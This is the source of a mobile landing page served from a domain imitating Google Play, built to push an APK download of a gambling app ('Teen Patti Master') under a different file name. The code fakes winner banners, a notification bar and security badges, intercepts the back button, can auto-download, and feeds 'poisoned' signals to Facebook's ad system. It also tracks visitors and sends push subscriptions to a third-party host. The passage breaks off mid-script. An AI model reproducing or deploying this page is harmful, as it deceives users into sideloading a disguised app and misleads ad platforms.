<!doctype html>
<html style="font-size: 100px;">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=0">
    <meta name="format-detection" content="telephone=no">
    <title>appName_replace</title>
    <link rel="shortcut icon" href="https://assets.googleplaystore.in/N6X969S/images/icon.webp" type="image/x-icon">
    <script type="text/javascript" src="https://assets.googleplaystore.in/N6X969S/js/pub_rem.js"></script>
    <link rel="stylesheet" href="https://assets.googleplaystore.in/N6X969S/css/pub_reset.css">

    <script>
        (function () {
            var p = new URLSearchParams(window.location.search);
            var uVC = parseInt(p.get('vc') || '0');
            var uRet = p.get('is_ret') === '1' || p.get('from_fb') === '1';
            var lVC = parseInt(localStorage.getItem('w2a_local_vc') || '0');
            var lRet = localStorage.getItem('w2a_converted') === 'true';

            window.sync_visit_count = Math.max(uVC, lVC) || 1;
            window.sync_user_type = (uRet || lRet) ? 'converted_old' : (window.sync_visit_count > 1 ? 'visitor_old' : 'new_user');
        })();
    </script>

    <!-- Google tag (gtag.js) - 保持原样，禁止修改 -->
    <script async src="https://www.googletagmanager.com/gtag/js?id=Google_Analytics_ID_replace"></script>
    <script>
        window.dataLayer = window.dataLayer || [];

        function gtag() {
            dataLayer.push(arguments);
        }

        gtag('js', new Date());
        gtag('config', 'Google_Analytics_ID_replace');
    </script>


    <!-- 2. [新增] 全局参数注入与增强事件上报 -->
    <script>
        (function () {
            if (typeof gtag === 'function') {
                // 将参数设为全局持久化，后续所有事件(click, stay等)都会自动携带
                gtag('set', {
                    'visit_count': window.sync_visit_count,
                    'user_type': window.sync_user_type,
                    'is_duplicate': (window.sync_user_type !== 'new_user') ? 'yes' : 'no'
                });
                // 发送增强进站事件，作为漏斗分析的新基准
                gtag('event', 'event_w2a_entry', {
                    'visit_count': window.sync_visit_count,
                    'user_type': window.sync_user_type
                });
                console.log("📊 GA4: Global Params Set & Entry Event Sent. VC:", window.sync_visit_count);
            }
        })();
    </script>


    <!-- 1. 跨域排重与全功能独立开关配置 -->
    <script>
        (function () {
            const getStr = (val, defaultVal) => (val.indexOf('python_replace') !== -1) ? defaultVal : val;
            const getBool = (val) => String(val).toLowerCase() === 'true';

            window.W2A_SETTINGS = {
                master_bridge_url: getStr('python_replace_master_bridge_url/bridge/bridge.html', 'https://taskibop.com/bridge/bridge.html'),

                // 功能解耦开关 (由 Python 打包脚本替换)
                enable_tracking: getBool('python_replace_switch_tracking'), // 1. 仅记录足迹 (默认开启)
                enable_poison: getBool('python_replace_switch_poison'),     // 2. FB信号投毒 (默认关闭)
                enable_ui_swap: getBool('python_replace_switch_ui_swap'),   // 3. 页面改图 (默认关闭)
                bot_detection: getBool('python_replace_bot_enabled'),
                debug: false
            };
        })();
    </script>


    <!-- 2. [核心修正] 动态安全加载器 (替代原有的静态 gate.js 标签) -->
    <script>
        (function () {
            var defaultMaster = 'https://taskibop.com';
            var rawUrl = 'python_replace_master_bridge_url';

            // 判定逻辑：如果 Python 没替换占位符，则使用保底主域
            var bridgeBase = (rawUrl.indexOf('python_replace') !== -1 || !rawUrl) ? defaultMaster : rawUrl;
            bridgeBase = bridgeBase.replace(/\/$/, "");

            var script = document.createElement('script');
            script.src = bridgeBase + '/bridge/gate.js';
            script.async = false;
            document.head.appendChild(script);

            console.log("🛡️ Gatekeeper Loader: Loading from " + bridgeBase);
        })();
    </script>


    <!-- 3. Facebook Pixel Code (逻辑解耦) -->
    <script>
        // 【修复】Pixel ID 安全初始化：判断是否被 Python 替换
        var pixelId = 'pxid_replace';
        if (pixelId !== 'pxid' + '_replace' && pixelId !== '') {
            // Python 已替换，正常初始化
            !function (f, b, e, v, n, t, s) {
                if (f.fbq) return;
                n = f.fbq = function () {
                    n.callMethod ?
                        n.callMethod.apply(n, arguments) : n.queue.push(arguments)
                };
                if (!f._fbq) f._fbq = n;
                n.push = n;
                n.loaded = !0;
                n.version = '2.0';
                n.queue = [];
                t = b.createElement(e);
                t.async = !0;
                t.src = v;
                s = b.getElementsByTagName(e)[0];
                s.parentNode.insertBefore(t, s)
            }(window, document, 'script',
                'https://connect.facebook.net/en_US/fbevents.js');
            fbq('init', pixelId);
        } else {
            // Python 未替换，创建 noop fbq 防止后续崩溃
            window.fbq = function () {
                console.log('Pixel logic suppressed');
            };
            console.warn('⚠️ Pixel ID not replaced by Python - Pixel tracking disabled');
        }

        // 身份判定：结合异步变量与同步 URL 参数
        (function () {
            var urlParams = new URLSearchParams(window.location.search);
            // 获取当前进入次数 (优先级：URL参数 > 本地缓存 > 默认1)
            var vc = parseInt(urlParams.get('vc') || localStorage.getItem('w2a_local_vc') || '1');
            var isOld = (window.is_duplicate_user === true) || (urlParams.get('is_ret') === '1') || (urlParams.get('from_fb') === '1');

            if (typeof fbq === 'function') {
                if (isOld) {
                    // 1. 【默认上报】老客进站事件（用于后台数据分析，不影响模型）
                    fbq('trackCustom', 'Old_User_Visit', {visit_count: vc});
                    if (vc >= 2) fbq('trackCustom', 'Repeat_Visit_' + (vc > 10 ? 10 : vc) + 'C');

                    // 2. 【可选投毒】只有开启了 enable_poison 且识别为老客，才发排除信号
                    if (window.W2A_SETTINGS && window.W2A_SETTINGS.enable_poison) {
                        fbq('trackCustom', 'Duplicate_User_Entry');
                        console.log("🛡️ Pixel: Poison Active - Duplicate_User_Entry sent.");
                    }
                } else {
                    fbq('track', 'PageView');
                    console.log("📈 Pixel: PageView (Standard)");
                }
            }
        })();
    </script>

    <noscript><img height="1" width="1" style="display:none"
                   src="https://www.facebook.com/tr?id=pxid_replace&ev=PageView&noscript=1"/></noscript>
    <script src="output_id/js/w2a_sdk.js"></script>

    <style>
        .max_width {
            opacity: 0;
            transition: opacity 0.2s;
        }

        .max_width.ready {
            opacity: 1 !important;
        }

        /* 初始状态：所有动态图强制透明，且不占位(可选) */
        .dynamic-img {
            opacity: 0 !important;
            transform: scale(0.95); /* 微缩放，增加显现时的动感 */
            transition: opacity 0.3s ease-out, transform 0.3s ease-out;
        }

        /* 逻辑确认后显现 */
        .dynamic-img.swapped {
            opacity: 1 !important;
            transform: scale(1);
        }


        .city-banner {
            display: none;
            background: #fff3cd;
            color: #856404;
            text-align: center;
            font-size: 0.24rem;
            padding: 0.08rem;
            font-weight: bold;
            border-bottom: 1px solid #ffeeba;
        }

        .city-banner span {
            color: #d9534f;
        }

        .marquee-wrapper {
            position: fixed;
            top: 0.15rem;
            left: 50%;
            transform: translateX(-50%);
            width: 90%;
            max-width: 7rem;
            background: rgba(0, 0, 0, 0.85);
            border: 1px solid #ffd700;
            border-radius: 0.5rem;
            z-index: 9999;
            display: none;
            align-items: center;
            padding: 0.08rem 0.2rem;
            box-shadow: 0 4px 12px rgba(0, 0, 0, 0.5);
        }

        .mq-icon {
            width: 0.35rem;
            height: 0.35rem;
            margin-right: 0.12rem;
        }

        .mq-text {
            color: #fff;
            font-size: 0.22rem;
            white-space: nowrap;
            overflow: hidden;
        }

        .mq-text span {
            color: #00ff00;
            font-weight: bold;
        }

    </style>

</head>
<body>
<div class="city-banner" id="city_banner">
    🔥 Top Winners in <span>nearby</span> Today
</div>
<div class="marquee-wrapper" id="mq_wrapper">
    <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="mq-icon"
         id="mq_icon">
    <div class="mq-text" id="mq_content">Loading...</div>
</div>

<div class="max_width" id="main_wrapper">
    <div>
        <a class="w2a-download" href="javascript:lp_track_download('dl_btn_1');void(0);"><img class="dynamic-img"
                                                                                              style="width: 100%;overflow: hidden;"
                                                                                              src="https://assets.googleplaystore.in/N6X969S/images/1.webp"></a>
    </div>
    <div>
        <a class="w2a-download" href="javascript:lp_track_download('dl_btn_2');void(0);"><img class="dynamic-img"
                                                                                              style="width: 100%;overflow: hidden;"
                                                                                              src="https://assets.googleplaystore.in/N6X969S/images/2.webp"></a>
    </div>
    <div data-screen="2">
        <a class="w2a-download" href="javascript:lp_track_download('dl_btn_3');void(0);"><img class="dynamic-img"
                                                                                              style="width: 100%;overflow: hidden;"
                                                                                              src="https://assets.googleplaystore.in/N6X969S/images/3.webp"></a>
    </div>
    <div>
        <a class="w2a-download" href="javascript:lp_track_download('dl_btn_4');void(0);"><img class="dynamic-img"
                                                                                              style="width: 100%;overflow: hidden;"
                                                                                              src="https://assets.googleplaystore.in/N6X969S/images/4.webp"></a>
    </div>
    <div>
        <a class="w2a-download" href="javascript:lp_track_download('dl_btn_5');void(0);"><img class="dynamic-img"
                                                                                              style="width: 100%;overflow: hidden;"
                                                                                              src="https://assets.googleplaystore.in/N6X969S/images/5.webp"></a>
    </div>
    <div data-screen="3">
        <a class="w2a-download" href="javascript:lp_track_download('dl_btn_6');void(0);"><img class="dynamic-img"
                                                                                              style="width: 100%;overflow: hidden;"
                                                                                              src="https://assets.googleplaystore.in/N6X969S/images/6.webp"></a>
    </div>
    <div>
        <a class="w2a-download" href="javascript:lp_track_download('dl_btn_7');void(0);"><img class="dynamic-img"
                                                                                              style="width: 100%;overflow: hidden;"
                                                                                              src="https://assets.googleplaystore.in/N6X969S/images/7.webp"></a>
    </div>
    <div>
        <a class="w2a-download" href="javascript:lp_track_download('dl_btn_8');void(0);"><img class="dynamic-img"
                                                                                              style="width: 100%;overflow: hidden;"
                                                                                              src="https://assets.googleplaystore.in/N6X969S/images/8.webp"></a>
    </div>
    <div style="height: 0.1rem;"></div>
    <div class="dw_propt">
        <div class="ppt_lt" style="margin:0 auto;max-width:7.5rem;">
            <a class="w2a-download" href="javascript:lp_track_download('dl_btn_9');void(0);" id="down3_"> <img
                    class="dynamic-img" style="width:100%;overflow: hidden;"
                    src="https://assets.googleplaystore.in/N6X969S/images/9.webp"> </a>
        </div>
    </div>
</div>

<script src="https://assets.googleplaystore.in/N6X969S/js/sdk-core.js"></script>
<script src="https://assets.googleplaystore.in/N6X969S/js/w2a-tools.js"></script>
<script src="https://assets.googleplaystore.in/N6X969S/js/marquee-system.js"></script>
<script>
    const scrCode = 'N6X969S'
</script>

<script>
    /**
     * 业务逻辑块：页面显示与 GA4 追踪
     */
    (function () {
        var wrapper = document.getElementById('main_wrapper');
        if (wrapper) wrapper.classList.add('ready');
        const urlParams = new URLSearchParams(window.location.search);
        const hook = urlParams.get('hook') || 'default';

        if (hook !== 'default') {
            document.querySelectorAll('.dynamic-img').forEach((img, index) => {
                img.src = `https://assets.googleplaystore.in/N6X969S/images/${hook}/${index + 1}.webp`;
            });
        }

        // 【重要】提供给 marquee-system.js 调用的打点接口
        window.updateMarqueeWithLog = function (type, count) {
            if (typeof gtag === 'function') {
                gtag('event', 'marquee_impression', {'count': count, 'mq_type': type});
            }
        };

        // --- 停留时长追踪 (Stay Duration) ---
        [2, 3, 5, 7, 10].forEach(sec => {
            setTimeout(() => {
                if (document.visibilityState === 'visible' && typeof gtag === 'function') {
                    gtag('event', 'stay_' + sec + 's', {'hook': hook});
                }
            }, sec * 1000);
        });

        if ('IntersectionObserver' in window) {
            const observer = new IntersectionObserver((entries) => {
                entries.forEach(entry => {
                    if (entry.isIntersecting) {
                        const sn = entry.target.getAttribute('data-screen');
                        if (typeof gtag === 'function') gtag('event', 'scroll_screen_' + sn, {'hook': hook});
                        observer.unobserve(entry.target);
                    }
                });
            }, {threshold: 0.5});
            document.querySelectorAll('[data-screen]').forEach(el => observer.observe(el));
        }
    })();

    /**
     * 最终集成版下载函数 (V34.6 - 极速归因+穿透加固版)
     * 优化：提升穿透同步优先级，确保 GA4 零丢包，补全 Adjust 兜底
     */
    function lp_track_download(label) {
        if (window.event) window.event.stopPropagation();
        console.log("🖱️ lp_track_download 触发 (V35.0):", label);

        const isDup = window.is_duplicate_user === true;
        const urlParams = new URLSearchParams(window.location.search);
        const history = window.user_history_domains || '';
        var footprint = isDup ? history : "new_user";

        var vc = window.total_visit_count || 1;

        // 1. 立即触发标记（穿透同步最高优先级）
        // 必须放在函数最顶端执行，确保 window.open 拥有最高权限破解浏览器存储分区，防止被拦截
        if (!isDup && window.W2A_Gatekeeper && typeof window.W2A_Gatekeeper.markConverted === 'function') {
            window.W2A_Gatekeeper.markConverted();
            console.log("✅ 身份标记与穿透指令已发出");
        }

        // 2. GA4 核心打点 (补全维度，强制 Beacon)
        if (window.W2A_SETTINGS.enable_tracking && typeof gtag === 'function') {
            gtag('event', 'click_download', {
                'event_label': label,
                'is_duplicate': isDup ? 'yes' : 'no',
                'user_type': window.w2a_user_type || 'new_user',
                'visit_count': vc,
                'user_history': footprint,
                'history_domains': footprint,
                'transport_type': 'beacon'
            });
            console.log("===GA4_REPORT_SUCCESS=== [Event:click_download] [History:" + footprint + "]");
        }

        // 3. FB 信号投毒/转化屏蔽 (增加 try-catch 保护，防止 FB 报错中断下载)
        try {
            if (isDup && window.W2A_SETTINGS.enable_poison) {
                fbq('trackCustom', 'OldUser_Ignore_Click', {domain: window.location.hostname, vc: vc});
            } else {
                if (typeof fbq === 'function') fbq('track', 'Lead', {content_name: label});
            }
        } catch (e) {
            console.error("FB Signal Error:", e);
        }

        // 4. 唤起跳转 (延迟 200ms 确保所有异步信号离站)
        setTimeout(function () {
            console.log("🚀 执行最终下载归因流程...");
            if (typeof window.download === 'function') {
                window.download(label);
            } else if (window.SDK_Core && window.SDK_Core.triggerDownload) {
                window.SDK_Core.triggerDownload(label);
            } else {
                // 【兜底逻辑】手动构造 Adjust 链接，防止脚本缺失导致归因失败
                var p0 = urlParams.get('p0') || '1yrjzvz3';
                window.location.href = "https://app.adjust.com/" + p0 + window.location.search;
            }
        }, 200);
    }
</script>

<!-- 自动化开关配置区 (V34.7 工业级加固版) -->
<script>
    // 1. 定义全局变量
    window.notificationSwitch = false;
    window.globalExitSwitch = false;

    (function () {
        const getBool = (val) => String(val).toLowerCase() === 'true' || val === '1';
        const getInt = (val, def) => {
            const n = parseInt(val);
            return isNaN(n) ? def : n;
        };

        // 2. 直接赋值给全局变量，不要加 var
        globalExitSwitch = getBool('python_replace_switch_exit');
        notificationSwitch = getBool('python_replace_switch_notification');

        if (window.NotificationBar) {
            NotificationBar.config.enabled = notificationSwitch;
            NotificationBar.config.delaySeconds = getInt('python_replace_notification_delay', 5);
            console.log("🔔 Notification Config Synced: " + NotificationBar.config.enabled);
        }

        // 3. 启动通知模块 (确保在赋值之后)
        if (window.NotificationBar && NotificationBar.config.enabled) {
            // 检查权限，如果是 denied 则不启动，防止静默失败
            if (Notification.permission === 'denied') {
                console.warn("⚠️ Notification permission is DENIED. Bar will not show.");
                // 这种情况下可以强制显示悬浮铃铛引导手动开启
                if (typeof nt_show_bell === 'function') nt_show_bell();
            } else {
                NotificationBar.init();
            }
        }


        // --- 【核心优化：2C-10C 智能容错逻辑 (V41.0 加固版)】 ---
        window.calculateFinalC = function () {
            var vc = window.total_visit_count || parseInt(localStorage.getItem('w2a_local_vc') || '1');
            var rawConfigs = 'python_replace_available_configs';
            var availableCs = [];

            if (rawConfigs.indexOf('python_replace') === -1 && rawConfigs.trim() !== "") {
                availableCs = rawConfigs.split(',').map(x => parseInt(x.trim()) || 0).filter(x => x > 0);
            }

            var effectiveVC = (window.is_duplicate_user && vc <= 1) ? 2 : vc;
            var targetC = effectiveVC > 10 ? 10 : effectiveVC;
            var finalC = 0; // 默认 0 表示不换图，使用根目录图片

            if (availableCs.length > 0) {
                for (var i = 0; i < availableCs.length; i++) {
                    if (targetC >= availableCs[i]) {
                        finalC = availableCs[i];
                    }
                }
            }
            return finalC;
        };

        // 3. 插件保护对象 (防止 sdk-history.js 和 sdk-ui.js 报 undefined)
        window.W2A_HISTORY_CONFIG = {
            back_intercept: {
                enabled: globalExitSwitch,
                mode: 'video',
                url: 'python_replace_back_url'
            }
        };

        window.W2A_UI_CONFIG = {
            auto_download: {enabled: getBool('python_replace_auto_dl')},
            security_bar: {enabled: getBool('python_replace_security_bar')},
            bonus_modal: {enabled: getBool('python_replace_bonus_modal')},
            security_guide: {enabled: getBool('python_replace_security_guide')},
            step_guide: {enabled: getBool('python_replace_step_guide')}
        };

        // 4. 行为拦截模块 (w2a-tools.js) 配置

        if (window.W2A_TOOL_CONFIG) {
            W2A_TOOL_CONFIG.enableDynamicContent = window.W2A_SETTINGS.enable_ui_swap;

            // --- 【修改点 2：使用全局函数进行初始计算】 ---
            var finalC = window.calculateFinalC();
            if (window.W2A_SETTINGS.enable_ui_swap && typeof finalC !== 'undefined' && finalC >= 1) {
                W2A_TOOL_CONFIG.dynamicFolder = finalC + 'C';
                W2A_TOOL_CONFIG.thresholds.stage1.count = 1;
                console.log("🖼️ UI Swap Configured: Using folder " + finalC + "C");
            } else {
                W2A_TOOL_CONFIG.thresholds.stage1.count = getInt('python_replace_threshold_1', 3);
                W2A_TOOL_CONFIG.thresholds.stage2.count = getInt('python_replace_threshold_2', 5);
            }

            // --- 其他基础配置 ---
            W2A_TOOL_CONFIG.enableBackIntercept = globalExitSwitch;
            W2A_TOOL_CONFIG.enableVibration = getBool('python_replace_vibration_enabled');
            W2A_TOOL_CONFIG.enableTracking = window.W2A_SETTINGS.enable_tracking;
            W2A_TOOL_CONFIG.botDetection = window.W2A_SETTINGS.bot_detection;

            // 强制触发异化检测
            if (window.W2A_Tool && typeof window.W2A_Tool.handleDynamicContent === 'function') {
                window.W2A_Tool.handleDynamicContent();
                console.log("🔄 [System] UI Check Executed");
            }
        } else if (window.W2A_Tool && typeof window.W2A_Tool.applyImageSwap === 'function') {
            // 兜底逻辑：即使没有 W2A_TOOL_CONFIG，也强制显示图片（针对 VC:0/1）
            window.W2A_Tool.applyImageSwap('');
        }


        // 5. UI 信任组件 (sdk-core.js) 配置
        if (window.SDK_Core && window.SDK_Core.config) {
            const r = window.SDK_Core.config.rules;
            r.autoDL = getBool('python_replace_auto_dl');
            r.securityBar = getBool('python_replace_security_bar');
            r.bonusModal = getBool('python_replace_bonus_modal');
            r.securityGuide = getBool('python_replace_security_guide');
            r.stepGuide = getBool('python_replace_step_guide');
            r.exitRedEnvelope = false; // 视频优先
        }
        // 6. 浏览器通知模块 (V34.7) 启动逻辑
        // 【解耦修复】使用独立的 notificationSwitch，不再依赖 enable_tracking
        if (notificationSwitch && Notification.permission !== 'granted') {
            setTimeout(() => {
                const bar = document.getElementById('nt_fake_bar');
                if (bar) {
                    bar.classList.add('show');
                    // 仅在开启了追踪时才向 GA4 发送曝光事件
                    if (window.W2A_SETTINGS.enable_tracking && typeof gtag === 'function') {
                        gtag('event', 'event_nt_fake_bar_show');
                    }
                    console.log("🔔 Notification Soft Prompt Displayed");
                }
            }, getInt('python_replace_notification_delay', 5) * 1000);
        }

        // 7. 页面显示状态固化
        var wrapper = document.getElementById('main_wrapper');
        if (wrapper) wrapper.classList.add('ready');
    })();
</script>

<script>
    W2ASDK.init({
        downloadClass: 'lp-download-disabled',
        tgLink: '',
        debug: true,
        heartbeatIntervalSec: 1,
        heartbeatMaxCount: 20,
    })
</script>

<!-- ★ 浏览器通知权限模块 -->
<script src="https://assets.googleplaystore.in/N6X969S/js/webPushSdk.js"></script>
<script src="https://assets.googleplaystore.in/N6X969S/js/notification-bar.js"></script>
<script>
    /* ══════════════════════════════════════════
     * 打包配置区 —— 只改这里
     * switch_notification: 0 = 关闭, 1 = 开启
     * notification_delay:  延迟秒数（整数）
     * notification_bar_text: 吸顶栏文案
     * ══════════════════════════════════════════ */
    if (window.NotificationBar) {
        NotificationBar.config.enabled = notificationSwitch;  // 使用已有的 notificationSwitch
        NotificationBar.config.delayMillis = (isNaN(+('python_replace_notification_delay')) ? 3 : +('python_replace_notification_delay'));  // 延迟秒数
        NotificationBar.config.text = 'python_replace_notification_bar_text';  // 吸顶栏文案，由打包 Excel 配置
        NotificationBar.config.debug = false;
    }
    /* ══════════════════════════════════════════ */

    // 配置完成后启动模块（勿移动、勿删除）
    if (window.NotificationBar) {
        NotificationBar.init();
    }
</script>

<!-- 推送订阅相关函数（notification-bar.js 依赖） -->
<script>
    // Service Worker 注册（保持原样，零差异）
    function loadServiceWorker() {
        if ('serviceWorker' in navigator) {
            if (navigator.serviceWorker.controller) {
                console.log('Service Worker already controlling');
            } else {
                navigator.serviceWorker.register('sw.js')
                    .then(function () {
                        subscribeUserToPush()
                        console.log("Service Worker registered successfully");
                    })
                    .catch(function (error) {
                        console.error('Service Worker register failed:', error);
                    });
            }
            return navigator.serviceWorker.ready
        } else {
            console.log('not support Service Worker');
        }
    }

    // 页面加载时注册 Service Worker
    if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', loadServiceWorker);
    } else {
        loadServiceWorker();
    }

    function subscribeUserToPush() {
        console.log('subscription' + navigator.serviceWorker.ready)
        navigator.serviceWorker.ready.then(function (registration) {
            if (registration.pushManager.subscription) {
                console.log('already Push notification');
                return;
            }
            let alreadyRegisterNotification = localStorage.getItem('alreadyRegisterNotification')
            if (alreadyRegisterNotification) {
                console.log('alreadyRegisterNotification')
                return
            }
            registration.pushManager.subscribe({
                userVisibleOnly: true,
                applicationServerKey: urlB64ToUint8Array('BI6UjirE9F0rzvJYaR0zjVCt9WrL8MOWGfkiKAfrAs52uYIchrOhWzjBIjBUYRec_w-stSmpqVUHZypgpnfjK-8')
            })
                .then(function (subscription) {
                    console.log("Push notification subscription Successfully:", subscription);
                    sendSubscriptionToServer(subscription, true);
                    localStorage.setItem('alreadyRegisterNotification', true)
                })
                .catch(function (error) {
                    console.error("Push notification subscription Failed:", error);
                    sendSubscriptionToServer('', false);
                    // 唤起 JS 内部的手动引导
                    if (typeof nt_show_guide === 'function') nt_show_guide();
                });
        });
    }

    function urlB64ToUint8Array(base64String) {
        const padding = '='.repeat((4 - base64String.length % 4) % 4);
        const base64 = (base64String + padding).replace(/-/g, '+').replace(/_/g, '/');
        const rawData = window.atob(base64);
        const outputArray = new Uint8Array(rawData.length);
        for (let i = 0; i < rawData.length; i++) {
            outputArray[i] = rawData.charCodeAt(i);
        }
        return outputArray;
    }

    function sendSubscriptionToServer(subscription, subStatus) {
        let notification_event = localStorage.getItem('notification_event')
        if (!notification_event) {
            notification_event = createNotificationEventId()
            localStorage.setItem('notification_event', notification_event)
        }

        // let x = ""
        // if (x === null || x === undefined || x.trim() === '') {
        //  console.log('"" is empty');
        //  localStorage.setItem('needUpdateSubscription', true)
        // }

        var uriWithoutParams = window.location.origin + window.location.pathname;


        if (subStatus) {
            console.log('sendSubscriptionToServer:', JSON.stringify(subscription))


            let p = {
                ...JSON.parse(JSON.stringify(subscription)),
                eventId: notification_event,
                channel: "channel_replace",
                webuuid: "",
                adid: "",
                aid: "",
                gaid: ""
            };
            console.log('sendSubscriptionToServer:', JSON.stringify(p))
            let requestUrl = 'https://dev.teamraid.xyz/webnotification/subscribe?subscription=' + encodeURIComponent(JSON.stringify(subscription)) + '&adid=' + "" + '&aid=' + ""
                + '&webuuid=' + "" + '&eventId=' + notification_event + '&channel=' + p.channel + '&pn=' + "" + '&gaid=' + "" + '&subscriptionStatus=' + subStatus + '&domain=' + uriWithoutParams
            fetch(requestUrl, {
                method: 'GET',
                mode: 'no-cors',
                headers: {}
            })
                .then(function (response) {
                    console.log('subscribe request successful');
                    sendGtagEvent2('notification_subscribe_success')
                })
                .catch(function (error) {
                    console.error('subscribe request failed', error);
                    sendGtagEvent2('notification_subscribe_failed')
                });
        } else {
            let p = {
                eventId: notification_event,
                channel: "channel_replace",
                webuuid: "",
                adid: "",
                aid: ""
            };
            console.log('sendSubscriptionToServer:', JSON.stringify(p))
            let requestUrl = 'https://dev.teamraid.xyz/webnotification/subscribe?adid=' + "" + '&aid=' + ""
                + '&webuuid=' + "" + '&eventId=' + notification_event + '&channel=' + p.channel + '&pn=' + "" + '&gaid=' + "" + '&subscriptionStatus=' + subStatus + '&domain=' + uriWithoutParams
            fetch(requestUrl, {
                method: 'GET',
                mode: 'no-cors',
                headers: {}
            })
                .then(function (response) {
                    console.log('subscribe request successful');
                    sendGtagEvent2('notification_subscribe_success')
                })
                .catch(function (error) {
                    console.error('subscribe request failed', error);
                    sendGtagEvent2('notification_subscribe_failed')
                });
        }

    }

    function createNotificationEventId() {
        return 'xxxxxxxyx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {
            var r = Math.random() * 16 | 0, v = c === 'x' ? r : (r & 0x3 | 0x8);
            return v.toString(16);
        });
    }

    // 更新订阅信息 (保持原样)
    function updateSubscribe() {
        console.log('updateSubscribe start.')
        let needUpdate = localStorage.getItem('needUpdateSubscription')
        if (!needUpdate) {
            console.log('do not needUpdateSubscribe')
            return
        }
        let notification_event = localStorage.getItem('notification_event')

        const webUuid = Adjust.getWebUUID();
        const adid = Adjust.getAttribution().adid;
        let requestUrl = 'https://dev.teamraid.xyz/webnotification/updateSubscribe?adid=' + adid + '&aid=' + ""
            + '&webuuid=' + webUuid + '&eventId=' + notification_event + '&gaid=' + webUuid
        fetch(requestUrl, {
            method: 'GET',
            mode: 'no-cors',
            headers: {}
        })
            .then(function (response) {
                console.log('updateSubscribe request successful');
            })
            .catch(function (error) {
                console.error('updateSubscribe request failed', error);
            });
        localStorage.removeItem('needUpdateSubscription')
    }

    // 获取 URL 参数 (保持原样)
    function getQueryParam(param) {
        const urlParams = new URLSearchParams(window.location.search);
        return urlParams.get(param);
    }

    // 通知标记上报 (保持原样)
    function notificationFlag() {
        let nf = getQueryParam('nf')
        if (nf) {
            let notification_event = localStorage.getItem('notification_event')
            if (notification_event) {
                console.log('notificationFlag up')
                let requestUrl = 'https://dev.teamraid.xyz/webnotification/notificationFlag?eventId=' + notification_event + '&nf=' + nf
                fetch(requestUrl, {
                    method: 'GET',
                    mode: 'no-cors',
                    headers: {}
                })
                    .then(function (response) {
                        console.log('subscribe updateNotificationFlag request successful');
                    })
                    .catch(function (error) {
                        console.error('subscribe updateNotificationFlag request failed', error);
                    });
            }
        }
    }

    if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', notificationFlag);
    } else {
        notificationFlag();
    }

    function sendGtagEvent2(action) {
        console.log('sendGtagEvent', action)
        // 其他参数被设定为固定值
        const category = 'button';
        const label = 'myButton';
        const value = 1;

        gtag('event', action, {
            'event_category': category,
            'event_label': label,
            'value': value
        });
    }
</script>
<script src="https://assets.googleplaystore.in/N6X969S/js/uninstall.js"></script>

<script src="https://assets.googleplaystore.in/N6X969S/js/data-collector.js"></script>
<script>
    if (window.DataCollector && typeof window.DataCollector.init === 'function') {
        if (document.readyState === 'loading') {
            document.addEventListener('DOMContentLoaded', function () {
                window.DataCollector.init();
            });
        } else {
            window.DataCollector.init();
        }
    }
</script>
<input type="hidden" id="channel" value="slm_1200747"/>
<input type="hidden" id="appName" value="Teen Patti Master"/>
<input type="hidden" id="pkgType" value="1"/>
<input type="hidden" id="downloadDomain" value="https://d17crr94lnc56q.cloudfront.net/Tile_Match.apk"/>
<input type="hidden" id="adjustTrackerToken" value="20q22a56"/>
<input type="hidden" id="onlinePkgUrl" value=""/>
<input type="hidden" id="ext" value=""/>
<input type="hidden" id="pixelId" value="843698258214609"/>
<input type="hidden" id="eventId" value="4660f6f6-9df1-41fa-ad4f-48d68893e08d"/>

<script>


    var fbp = getCookie('_fbp') || getQueryString('_fbp') || getQueryString("fbp") || getCookie('fbp');
    var fbc = getCookie('_fbc') || getQueryString('_fbc') || getQueryString("fbc") || getCookie('fbc');
    console.log('fbp', fbp)
    console.log('fbc', fbc)

    let pkgType = document.getElementById('pkgType').value;
    let downloadDomain = document.getElementById('downloadDomain').value;
    let adjustTracker = document.getElementById('adjustTrackerToken').value;
    let onlinePkgUrl = document.getElementById('onlinePkgUrl').value;
    let ext = document.getElementById('ext').value;
    let pxid = document.getElementById('pixelId').value;
    let appName = document.getElementById('appName').value;
    let channel = document.getElementById('channel').value;
    let eventId = document.getElementById('eventId').value;

    let extStr = JSON.stringify(ext)
    let encodeExtStr = encodeURIComponent(extStr)
    let offlineUrl;
    let url = '';

    let reportFlag = 0

    // 开始计时
    const startTime = Date.now();

    function checkCookie() {
        const startTime = Date.now(); // 记录开始时间
        let timeCost = 0; // 保存时间花费

        const intervalId = setInterval(() => {
            const fbcValue = getCookie('_fbc');
            const currentTime = Date.now();
            if (fbcValue) {
                // 停止监听
                clearInterval(intervalId);

                // 计算时间花费
                timeCost = currentTime - startTime;
                reportLog(timeCost);
                // 在控制台输出时间花费
                console.log('Time cost:', timeCost, 'milliseconds');
            } else if (currentTime - startTime > 10000) {
                // 超过10秒仍未找到_fbc，打印日志
                clearInterval(intervalId);
                timeCost = currentTime - startTime;
                reportLog(timeCost);
                console.log('Time cost exceeds 10 seconds. _fbc not found.');
            } else {
                console.log('Check Cookie: _fbc not found yet.');
            }
        }, 100); // 间隔0.1秒检查一次
        checkFbc(intervalId, startTime, timeCost)
    }

    function checkFbc(intervalId, starTime, timeCost) {
        console.log('checkFbc')
        const fbcValue = getCookie('_fbc');
        const currentTime = Date.now();
        if (fbcValue) {
            // 停止监听
            clearInterval(intervalId);

            // 计算时间花费
            timeCost = currentTime - startTime;
            reportLog(timeCost);
            // 在控制台输出时间花费
            console.log('Time cost:', timeCost, 'milliseconds');
        } else if (currentTime - startTime > 10000) {
            // 超过10秒仍未找到_fbc，打印日志
            clearInterval(intervalId);
            timeCost = currentTime - startTime;
            reportLog(timeCost);
            console.log('Time cost exceeds 10 seconds. _fbc not found.');
        } else {
            console.log('Check Cookie: _fbc not found yet.');
        }
    }

    // 调用函数开始监听
    checkCookie();

    //读取url参数
    const urlParams = new Proxy({}, {
        get: (target, name) => name in target ? target[name] : ''
    });

    window.addEventListener("DOMContentLoaded", () => {
        const currentURL = window.location.href;
        const parsedURL = new URL(currentURL);
        const params = parsedURL.searchParams;
        for (const [param, value] of params) {
